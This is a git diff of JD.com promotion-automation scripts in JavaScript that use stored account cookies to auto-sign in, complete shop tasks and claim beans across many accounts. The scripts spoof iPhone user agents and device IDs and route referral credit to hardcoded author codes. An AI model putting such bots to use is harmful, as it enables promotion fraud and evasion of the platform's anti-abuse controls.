if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_league.js b/jd_lzdz1_league.js index 2f40c50..f070a03 100755 --- a/jd_lzdz1_league.js +++ b/jd_lzdz1_league.js @@ -1,9 +1,9 @@ /** -京东粉丝联盟福利社 +京东超店会员福利社 **/ -const $ = new Env("京东粉丝联盟福利社"); +const $ = new Env("京东超店会员福利社"); const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; const notify = $.isNode() ? require('./sendNotify') : ''; let cookiesArr = [], cookie = '', message = ''; @@ -54,30 +54,30 @@ if ($.isNode()) { $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); authorCodeList = [ - '72c063179e01411fa87e404c9ab6bcb2', - // '18a76a8d1b7644568c1a357b240b3444', + '8e07c72a5686489e8fb2785d3abdcf70', + 'bc8c2618444f4b64baee1497a8418870', // '12958ed848ea42c9a0d9d8df6e9199ad', ] // $.authorCode = authorCodeList[random(0, authorCodeList.length)] $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] $.authorNum = `${random(1000000, 9999999)}` - $.activityId = 'dza044fb424c3fa1bd9e4415e0shop' - $.activityShopId = '1000083681' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + $.activityId = '4a4b4c2e46dd80c1d89bd445shop' + $.activityShopId = '1000077045' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` await superFans(); - await $.wait(3000); - // if ($.bean > 0) { - // message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - // } + await $.wait(2000); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); } } - // if (message !== '') { - // if ($.isNode()) { - // await notify.sendNotify($.name, message, '', `\n`); - // } else { - // $.msg($.name, '有点儿收获', message); - // } - // } })() .catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') @@ -146,7 +146,7 @@ async function superFans() { vo.value ); } - await $.wait(1000); + await $.wait(2000); // await $.wait(1000); } // await getFirstLZCK() diff --git a/jd_mhtask.js b/jd_mhtask.js index ae4c3c3..b898846 100644 --- a/jd_mhtask.js +++ b/jd_mhtask.js @@ -10,7 +10,7 @@ const notify = $.isNode() ? require('./sendNotify') : ''; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; //Node.js用户请在jdCookie.js处填写京东ck; //IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; +let cookiesArr = [], cookie = '', message = '', allMessage = ''; let jd_mhurlList = ''; let jd_mhurlArr = []; let jd_mhurl = ''; @@ -41,7 +41,7 @@ if ($.isNode()) { $.nickName = ''; $.beans = 0 message = ''; - await TotalBean(); + //await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); @@ -65,7 +65,7 @@ if ($.isNode()) { if (allMessage) { if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); $.msg($.name, '', allMessage); - } + } })() .catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') @@ -159,9 +159,13 @@ function doTask(taskId) { console.log(`${$.name} API请求失败,请检查网路重试`) } else { data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.errcode === 8004) { + console.log(`任务完成失败,无效任务ID`) + } else { if (data.data.complete_task_list.includes(taskId)) { console.log(`任务完成成功,当前幸运值${data.data.curbless}`) $.userInfo.bless = data.data.curbless + } } } } catch (e) { diff --git a/jd_sevenDay.js b/jd_sevenDay.js index 8a1b189..57ffc92 100644 --- a/jd_sevenDay.js +++ b/jd_sevenDay.js @@ -1,13 +1,12 @@ /* -超级无线店铺签到 +说明: 超级无线店铺签到 不能并发,超级无线黑号不能跑,建议别跑太多号 -环境变量: -SEVENDAY_LIST 活动链节 https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId= -SEVENDAY_LIST2 活动链节 https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId= -SEVENDAY_LIST3 活动链节 https://cjhy-isv.isvjcloud.com/sign/signActivity?activityId= -多id 用 & 分开 -1 1 * * * jd_sevenDay.js +原作者:小埋 + +环境变量: +SEVENDAY_LIST,SEVENDAY_LIST2,SEVENDAY_LIST3 +1 1 1 1 * jd_sevenDay.js */ const $ = new Env('超级无线店铺签到'); const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; @@ -15,47 +14,27 @@ const notify = $.isNode() ? require('./sendNotify') : ''; let cookiesArr = [], cookie = '', message = ''; // https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId= let activityIdList = [ - //'eaf0e5313fa1484db90c3fc467af33e5', - //'f3207d49ac8e4fcfbd542befc1338916', - //'ba2d672b1fc44814aef1c3ee4c3ac5fa', - //'f46601936b40496b97a85de2b5ab97eb', - //'13126645fcb2477fa1090a94cb7f3ca2', - //'202f8daefb63452ebcdd68ef2d3db135', - //'3a9885564c6a4633b55b6bfcd083d3a4', - //'e181d252d0354331ad6226c407745ad6', - //'52a339445cba489f8df00cf18666d2be', - //'eaf0e5313fa1484db90c3fc467af33e5', ] // https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId= let activityIdList2 = [ - //'af38e0ae3c534e5882a2c29cbd08a355', - //'478c9f15a4fc43f691db0451d956cfef', - //'b688a802471443d092343821a8403531', - //'ab51ff694beb41948a554aade50d5608', - //'462aae0d426443cd962257afce4b760f', - //'c3fde07f69bb43e79f12686013b45f8b', - //'d7d28539c7e54d0896cec5089f1b82f2', - //'e170e27eb0374b01bfed88138a82f968', - //'bea32e6d4a6749ec98a990dbf276278f', - //'7fb38e10addf49b487c84f579971cbd4', - //'393ddb3a8ce04f19aed59fb458e2425f', - //'cbf22d6dfbde42ac98fb3f693530132e', - //'2a20095bf87e408bb70fdf537ea3f57f', + ] let activityIdList3 = [ - //'456de0f620024cbda71e9a9cbaaf95e1', - //'0dee39bb7c9b48828d8cdc08af4875e7', + ] let lz_cookie = {} - +let CookieNum = 10; if (process.env.SEVENDAY_LIST && process.env.SEVENDAY_LIST != "") { - activityIdList = process.env.SEVENDAY_LIST.split('&'); + activityIdList = process.env.SEVENDAY_LIST.split(','); } if (process.env.SEVENDAY_LIST2 && process.env.SEVENDAY_LIST2 != "") { - activityIdList2 = process.env.SEVENDAY_LIST.split('&'); + activityIdList2 = process.env.SEVENDAY_LIST2.split(','); } if (process.env.SEVENDAY_LIST3 && process.env.SEVENDAY_LIST3 != "") { - activityIdList3 = process.env.SEVENDAY_LIST.split('&'); + activityIdList3 = process.env.SEVENDAY_LIST3.split(','); +} +if (process.env.COOKIE_NUM && process.env.COOKIE_NUM != 10) { + CookieNum = process.env.COOKIE_NUM; } if ($.isNode()) { @@ -73,17 +52,17 @@ if ($.isNode()) { cookiesArr = cookiesArr.filter(item => !!item); } !(async () => { + console.log(`\n请填写签到变量,不同无线签到的变量分别是\n +SEVENDAY_LIST、SEVENDAY_LIST2、SEVENDAY_LIST3\n +SEVENDAY_LIST对应链接中的sign/sevenDay/signActivity\n +SEVENDAY_LIST2对应链接中sign/signActivity2\n +SEVENDAY_LIST3对应链接中sign/signActivity\n +默认跑前10账号,变量为:COOKIE_NUM`) if (!cookiesArr[0]) { $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); return; } - $.actList = activityIdList.length + activityIdList.length + activityIdList.length - - for (let i = 0; i < cookiesArr.length; i++) { - if ($.actList === 0) { - console.log("请设置无线签到活动id,看脚本说明") - break - } + for (let i = 0; i < CookieNum; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i] originCookie = cookiesArr[i] @@ -241,10 +220,12 @@ function task(function_id, body, isCommon = 0) { if(data){ // console.log(data); if (data.isOk) { - console.log("签到成功"); - // console.log(data); + console.log("结果 -> 签到成功"); + if (data.signResult.gift != null) { + console.log("🎉 获得奖品:" + data.signResult.gift.giftName); + } } else { - console.log(data); + console.log("结果 -> " + data.msg); } } break @@ -252,10 +233,12 @@ function task(function_id, body, isCommon = 0) { if(data){ // console.log(data); if (data.isOk) { - console.log("签到成功"); - // console.log(data); + console.log("结果 -> 签到成功"); + if (data.gift != null) { + console.log("🎉 获得奖品:" + data.gift.giftName); + } } else { - console.log(data); + console.log("结果 -> " + data.msg); } } break @@ -305,24 +288,24 @@ function task2(function_id, body, isCommon = 0) { case 'sign/sevenDay/wx/signUp': if(data){ if (data.isOk) { - console.log("签到成功"); - if (data.signResult.giftName) { - console.log(data.signResult.giftName); + console.log("结果 -> 签到成功"); + if (data.signResult.gift != null) { + console.log("🎉 获得奖品:" + data.signResult.gift.giftName); } } else { - console.log(data.msg); + console.log("结果 -> " + data.msg); } } break case 'sign/wx/signUp': if(data){ if (data.isOk) { - console.log("签到成功"); - if (data.gift.giftName) { - console.log(data.gift.giftName); + console.log("结果 -> 签到成功"); + if (data.gift != null) { + console.log("🎉 获得奖品:" + data.gift.giftName); } } else { - console.log(data.msg); + console.log("结果 -> " + data.msg); } } break @@ -418,7 +401,7 @@ function getMyPing() { if (data) { data = JSON.parse(data) if (data.result) { - $.log(`你好:${data.data.nickname}`) + //$.log(`你好:${data.data.nickname}`) $.pin = data.data.nickname; $.secretPin = data.data.secretPin; } else { @@ -473,7 +456,7 @@ function getMyPing2() { if (data) { data = JSON.parse(data) if (data.result) { - $.log(`你好:${data.data.nickname}`) + //$.log(`你好:${data.data.nickname}`) $.pin = data.data.nickname; $.secretPin = data.data.secretPin; } else { @@ -612,6 +595,7 @@ function checkCookie() { }) }) } + // prettier-ignore !function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_sign_graphics.js b/jd_sign_graphics.js index 7489aa8..819b52b 100644 --- a/jd_sign_graphics.js +++ b/jd_sign_graphics.js @@ -29,9 +29,9 @@ let successNum = 0 let errorNum = 0 let JD_API_HOST = 'https://sendbeans.jd.com' const turnTableId = [ - { "name": "翻牌", "id": 1082, "shopid": 1000004123, "url": "https://sendbeans.jd.com/jump/index/" }, - { "name": "翻牌", "id": 1440, "shopid": 1000005670, "url": "https://sendbeans.jd.com/jump/index/" }, - //{ "name": "翻牌", "id": 1419, "shopid": 1000007205, "url": "https://sendbeans.jd.com/jump/index/" }, + { "name": "翻牌", "id": 1082, "shopid": 1000004123, "url": "https://sendbeans.jd.com/jump/index/" }, + { "name": "翻牌", "id": 815, "shopid": 887726, "url": "https://sendbeans.jd.com/jump/index/" }, + //{ "name": "翻牌", "id": 1419, "shopid": 1000007205, "url": "https://sendbeans.jd.com/jump/index/" }, ] !(async () => { diff --git a/jd_superBrand.js b/jd_superBrand.js index 2c0748f..e3466cf 100644 --- a/jd_superBrand.js +++ b/jd_superBrand.js @@ -1,9 +1,11 @@ -/** - 特务Z,默认选择左边战队 +/* + 特务集卡 脚本没有自动开卡,会尝试领取开卡奖励 -5 10,18,20 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_superBrand.js - */ -const $ = new Env('特务Z'); +cron:35 10,18,20 * * * + +35 10,18,20 * * * jd_superBrand.js +* */ +const $ = new Env('特务Z-II'); const notify = $.isNode() ? require('./sendNotify') : ''; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; let cookiesArr = []; @@ -11,6 +13,7 @@ let UA = ``; $.allInvite = []; let useInfo = {}; $.helpEncryptAssignmentId = ''; +$.flag = false if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) @@ -27,7 +30,6 @@ if ($.isNode()) { $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); return; } - $.teamName = "left" for (let i = 0; i < cookiesArr.length; i++) { UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; $.index = i + 1; @@ -35,7 +37,7 @@ if ($.isNode()) { $.isLogin = true; $.nickName = ''; $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - await TotalBean(); + //await TotalBean(); console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); if (!$.isLogin) { $.msg($.name, 